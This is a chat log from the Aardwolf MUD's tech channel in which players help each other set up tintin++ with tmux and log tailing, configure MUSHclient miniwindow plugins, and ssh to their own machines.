T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: UchihaAizen: do you see a sessions screen? create a new session, alias can be whatever you want, I suggest 'aard' Host should be 'aardmud.org' without the quotes, port should be '23' Leave everything else blank
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: Do you see the map in the main window?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: thank you
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Oh, I'm sorry Wozniak I forgot you probably didn't get to the part about displaying the log files in other terminals.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: You should open another terminal, cd into /Users/<yourname>/aardwolf+tintin, and then tail -f minimap
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yeah I'm not sure how to use tmux to get the map to be visible
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: then resize the terminal to the size you want and put it wherever you want in relation to the main window/terminal
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I don't understand
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: There is no map
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: This method will work for all the log files, including 'group', 'Aardwolf-chats', 'stats', and 'roomchars' assuming you enable the appropriate tags (located in the readme)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Do you have a second terminal open?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: No
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Ok, start there.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: OK
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Report back when you have a second terminal open.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: now type: 'cd /Users/<yourname>/aardwolf+tintin' without the quotes
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: and substituting your name
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: -- It showed connecting to aardwolf.org  , then it showed error, any idea what might be the case
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: First, was I supposed to type 'tags map on' etc in the minimap file?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Is the home folder the best place? or maybe Applications?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: The folder is fine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: folder?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: oh nevermind
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: You type 'tags map on' in the main client window already connected to the game. It is a game command. See help tags for more
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: ok continue
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: oh ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Ok from the directory with the settings, type 'tail -f minimap'
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: This is in the second terminal you opened
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: so in the second window type 'cd setup.tin ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: '
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Ok, I'm not sure how you just got that. I'm giving you step by step typing instructions...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Type what I tell you to type
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: you said from the directory with the settings. ok
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: anyway I typed that
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: next
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Tell me what you see
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: nothing. Just a blinking cursor
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: In the terminal connected to the mud, type 'tags map on' and move around
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Tell me if anything appears in the second terminal.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yup. I wish it showed the map when you type look
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: But yeah it works now
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: UchihaAizen: Can you describe the error it showed?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I don't see the difference with the blank lines and no blank lines
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: What's the difference of showing blank lines and not showing blank lines on the map? I can't see the difference
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: Im on now (midpssh) but the words are very very small.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}UchihaAizen Tech: any way I can make text bigger on Midpssh?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Yeah somewhere in the settings you can increase font size
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Zetkax Tech: move your head closer to the screen
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Hollister Tech: hahaha, yeah! move your head closer
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Zetkax Tech: sorry :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Hollister Tech: if all else fails, turns your resolution lower, thus making your words bigger xD
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shinda Hailz Tech: how do I get a midpssh client?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shinda Hailz Tech: anyone?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: you want until another day when its website isn't down
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shinda Hailz Tech: how long will it be down? 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: how shoud I know
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: should*
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shinda Hailz Tech: I was just asking geez
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: and I'm responding
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: has anyone used advanced systemcare 6 pro?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I can't decide whether to have tintin on my Mac computer and ssh to it from my Linux desktop or have tintin on my Linux computer and ssh to it from my Mac
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I guess it would make sense to have it on my desktop because if I ever want to play while away and I have my laptop with me, I can ssh to my desktop
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: The second option.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yeah
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yay. I installed tintin++ on my Linux desktop! With the aardwolf settings.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: If you can get everything working like it was, it would be worth giving tmux a go. Instead of having multiple floating terminals with their window decoration each pane is split nicely in one terminal window like the picture at: https://code.google.com/p/aardwolf-tintin/
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Hm. What kind of things would using tmux involve? Like what would I have to do?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Also, I can't talk long because my quest time is getting low
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: You'd have to install tmux and edit a bash script to get things separated nicely for your normal terminal/font size.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Would I need to change anything I've currently enabled and things?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: No
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Do you remember how you ran that 'tail -f minimap' command in a second terminal? Basically tmux would separate 1 window into several and then run commands like that inside those windows so the map and other stuff is displayed like the picture I linked.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: cool. Hey I need help. I can't scroll up in my tintin client. It keeps sending me to the bottom of the terminal window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Did you reply yet? I can't see
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Saint Cuthbert Tech: Alright, got a little problem I need some help with. Real issue is I can't be anything but kind of vague about it because I'm not really sure what's going on. I could access an individual site without issue up until yesterday, now it constantly gives me "The Connection Was Reset" errors when I try to load any pages on that particular domain. It's in multiple browsers, and is the only site that does it.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Wozniak: Page up/down work fine for me. 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Saint Cuthbert Tech: The site works perfectly fine for everyone else though, should mention that :p
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ixle You're right. So is moving the side bar off limits then?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Yes, ignore the side bar, and when you get really good you can learn how to make it disappear entirely.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: For me in Ubuntu it is alt+space, disable window decorations
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: It won't let me friend you Ixle
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: make sure you can see me, I'm vis now
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: How were you invisible?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Skills and spells. Help invis, help hide
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto hides his face in his palm after seeing what Wozniak did.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Saint Cuthbert Tech: Anyone? I can usually figure these things out, but I've never had this error so localized to a single site that's working for everyone else...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: No clue Cuthbert. Maybe take a screenshot of the error page in chrome, post it to tinypic.com and I'll see if I can google it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try google it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Saint Cuthbert Tech: No worries, man. I'm googling it already, was hoping someone here could give me an answer though. Thanks anyway!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: lmgtfy.com should really partner with mechanical turk :p
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: and stackoverflow, etc
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: What's the ssh command to ssh to the aardwolf-tintin on my Linux computer?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: ssh <computername or IP> or ssh useromputernameorip
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: err user@computer
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: I would like to adjust the MUSHCLIENT: (i) create 3 new windows (ii) transfer text (combat, descriptions, channels) from the main window to these windows
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: is this possible? Anyone knows how to do it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: first, start with the aardwolf MUSHclient package
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: that gets you so that channels are already in another window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: COOL!!!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: is this a addon to the mushclient?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: go to aardwolf's website...click on the screenshot
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: because I downloaded my mushclient directly from the aardowlf website
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: since when was the aardwolf MUSHclient separated with difference individual windows?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: half a dozen years ago?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Well the one I'm using now is all in one window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: no no it is I who WANTS it to be separated and I am trying to discover how to do it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: then you didn't download the aardwolf mushclient
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Maybe it's because I'm running it under Wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: if you have a current version of mush, the chat is already seperated to a communication log
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: the aard mushclient is DEVELOPED under wine
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: I did I assure you. I have the following windows: (1) Main (2) Communication log  (3) little map   4) Large map    5) Group
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: yes it's separated but not into a difference window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: that is different windows...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: It's all in one window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it's in one root, but it's different windows
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: No, it's divided into different sections in one window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: time to define "window"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: you can drag and move those windows around
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: I want to CHANGE this, to get the text from the MAIN WINDOW and SPLIT it into 3 NEW WINDOWS: Channels, Combat and "The Rest". Got it??
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: "window" "pane" "miniwindow"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: ton: we know, nobody's talking to you at the moment :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: anyone knows how to do this?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: ton: right-click on the communications window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Tonbombadil: If you have the mushclient version from the aard website channels will go to one separate window. combat and "the rest" mostly go in one main window atm
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: time for combat to have tags!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: *Yay!*  Go HelperMan Hadar!!!  [Outlaw] Remarto cheers him on.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: in that right-click menu, go to "echo channels in main window"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: no, the communication log just repeats what is in the main window, I wanted to remove it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Time for every line to have an identifier to handle it at will :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: and not only remove the channels, but remove the combat
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: abelinc is explaining how to do that, LISTEN!!!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: ton: do what I said :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: I was  ANSWERING TO IXLE WHO WAS ALSO TALKING TO ME
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: please go on Abelinc, thanks
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: Abelinc it works thanks
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: any way to do the same with a new "Combat Window"?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: you'd need to create capture patterns that match combat (but not other stuff)...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it would not be an easy task
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice to you, in complete agreement.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: room descriptions would be pretty trivial though
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or add a suggestion on ideas to add tags to combat (doubt it would happen though)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: room description would be pretty cool, how would it work
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: using tags roomdescs it adds {RDESC}description{/RDESC} so you can cap it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: please can you give more detail
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: slow down...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: detail is slow, and there needs to be TONS of it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: while it's "trivial", it's not a 2-line thing...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: Hadar, how would one do what you suggested?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: the easiest way to do it would be to copy something like my aard scan miniwin plugin, and just change the start/end matches
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: and remove the timer that automatically scans
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: but that plugin, while quite simple, is over 500 lines
T3/r7/2013-06-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no clue, i cant make mush triggers to save my life, i tried, im good using my client
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tonbombadil Tech: Abelinc I can program in VB, maybe I can find my way into it - where can I download you plugin?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: or could use a modified version of the small map
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: for all "where's soandso's stuff" questions, the answer is "finger soandso"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: remarto: that's what mine is ;-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: but the minimap has some other stuff which is extra...it's over 700 lines
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hahaha
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: my stuff is truly a good base "here's how to cram stuff into a miniwindow"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well i already fixed my problems with the only plugin of yours that i downloaded
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: heh, I have a version of that one up now which is fixed for people like starlight
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: 4 string.lowers
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh i also added formatting for the output
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: so its easy to read
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: nod, but that would not work for the ones who requested it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: actually it probably would
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: no, it wouldn't
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it was a csv because it's being loaded into a webpage's script...it was made for Seekers clan, so that other clan members could do what Ozzy does in zmud...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: the format of the textfile was given to me as the spec. requirement
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: one thing to realize is that I don't use MUSHclient...all the plugins I've done were because someone else asked for a feature (or one was because someone bitched about a MUD feature when she was trying to screw Lasher :P)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hahaha
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: abelinc is winkle's campaign bot still available?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and have you improved upon it yet?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: of course it's still available
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: sweet ssh works
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: and I don't condone the use of it, so I wouldn't improve it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i thought improving S&D would put it over the botting edge
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: did winklewinkle stop playing aardwolf b/c of the flak he got for it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: doubt it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: he played long after the flak
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Flak Tech: did i hear my name?!?!?!? :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: You grin evilly at him.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it's all his fault!
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Flak Tech: i chased that dude out of town, told him it wasn't big enough for the both of us
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how many mobs have to die before aardwolf chokes on a buffer error?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: dunno what one would have to do with the other...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that makes two of us
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: MOBs being killed are zombies...and buffer errors are caused by God...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Sonshi Tech: but are they caused by the zombie god??!1!?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: where did fiendish go?  he has all my aard gears
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: have you tried emailing yourmom?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: (oddly enough, that was a serious response)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, that would be an invasion of privacy
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Sonshi Tech: yourmom at gaardian.com. Emailing yourmom by itself probably won't do anything.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: more likely of a restraining order.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Silentdecay Tech: how hard is it to code a new window for the GUI?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: not very
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Silentdecay Tech: what language are they in?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: type "tech -h" and use the tip I gave there
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: the miniwindows aren't in a language (other than MUSHclient), but the general scripting will be done using Lua
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Silentdecay Tech: im profficient in lua, wouldnt i just code a new plugin and import it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: yes, that plugin would need the visual elements within it
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Silentdecay Tech: ok thank you :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: download my aard_board_output plugin or my aard_scan_miniwin plugin for examples of how to do miniwin "captures", or my planes_miniwin plugin for an example of how to put output into a miniwin that didn't come from the MUD
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: there's now a room description miniwindow plugin on my site ;-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: someone using MUSHclient might want to test it for me }:>
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ill give it a test
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: hahaha
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it stil shows the end tag in the window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: mini window pops up, but does not populate when 'walking' or 'looking'
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: von: turn on tags roomdescs
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: works great
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: looks like there is a 'last line' in every room description "(/rdesc)... a tag artifact of some sort
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: brackets, actually {}
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: OK, new one up, or you can just delete line 131 in yours (the line is just after elseif name == "rdesc_end" then)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: K
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: had a line in there to add the end tag to the table that is output to the miniwin
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: one thing to check, since I do my testing on just textfiles that fake MUD output, is that colors are captured OK, like "Aylorian Academy" being in red at recall
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ill test it in a bit, want to get a few levels in
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: Nice. You got it in under 500 lines.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: nodnod
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: most of it is just framework for the miniwindow to remember locations, sizes, let you raise/lower it in relation to Fiendish's stuff, font, etc
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: the only color I see is North in room "outside the aylorian...."
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: I see other colors coming thru as well
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: yes... colors are working
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: sweet, then it's good to go :-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: l
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: miss
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: so now we're 2/3rds of the way to what tonmombadil wanted ;-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: err Tonbombadil
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hahaha :P
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: I'd like a plugin like your "amulet of the planes cheat sheet" that I could make my own notes on... like a scratchpad - without having to tab over to the integrated notepad.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: yeah, the problem is that MUSHclient offers no way to type into anything but the command line...you could do it like an "add a line", but then you'd want a way to remove or alter existing notes and it just gets to be a pain
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: K
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: can always choose a random room to add a roomnote to...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: like room 12345...Along River Angor
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Vonliege Tech: hadn't thought of that... that'd probobly do the trick
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: then to show the room without bothering to go there, you can use "mapper showroom 12345"...that basically centers the mapper on the room as if you're there without actually taking you there
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Leinei Tech: Probably wouldn't be too bad to make a miniwindow notepad that has the same functionality as the aardwolf note editor.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it'd be more of a pain than I'd be looking to take on, and I've written 13 plugins ;-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: Make it emacs while you are at it :-)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im not going to even try
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Silentdecay Tech: abelinc do you have any plugins for a clickable speedwalk gui?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: other than right-click options, my only plugin which brings clickable elements is the lbid one
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: (of course, I say that I made 13 plugins...but autoquaff/autorecall are copypastes of each other and board, scan and this rdesc one are copypastes of each other, so it's really more like 10)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: How is tintin exclusive to the other clients with being compatible with SSH? Can't you ssh into a computer and run any client?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Daloran Tech: Would have to be one that runs from a shell, woz... a lot of the more popular ones don't, they have a seperate gui.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: you can tunnel other protocols over ssh to access other clients, but it's less-efficient than a command-line client
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ah. That's right. I almost forgot.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: so you could RDP-over-SSH to secure the RDP and do a remote desktop session to Windows (or same thing for Macs using either their protocol or VNC which is built-in)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: or could X11r6 for unix/linux
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: but for straight ssh, all it knows is text
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: that mostly leaves tt++ and tf
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: exactly. it is not exclusive, any command line client would work, and I started on tf.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: it's still exclusive, just not exclusivity of one
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Arnica Tech: heh
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: an "exclusive club" has more than one member...
